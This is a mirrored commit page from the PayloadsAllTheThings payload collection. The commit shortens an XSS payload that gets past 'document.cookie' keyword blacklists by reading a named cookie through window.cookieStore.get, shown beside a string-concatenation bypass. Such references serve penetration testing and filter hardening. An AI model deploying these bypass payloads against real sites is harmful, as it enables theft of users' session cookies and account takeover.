mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-12 07:40:34 -08:00
Shortened payload
Shortened the document.cookie blacklist bypass payload.
This commit is contained in:
@@ -780,7 +780,7 @@ window["doc"+"ument"]
|
||||
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
|
||||
|
||||
```
|
||||
const cookiePromise=Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
|
||||
Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
|
||||
```
|
||||
|
||||
### Bypass using javascript inside a string
|
||||
|
||||
Reference in New Issue
Block a user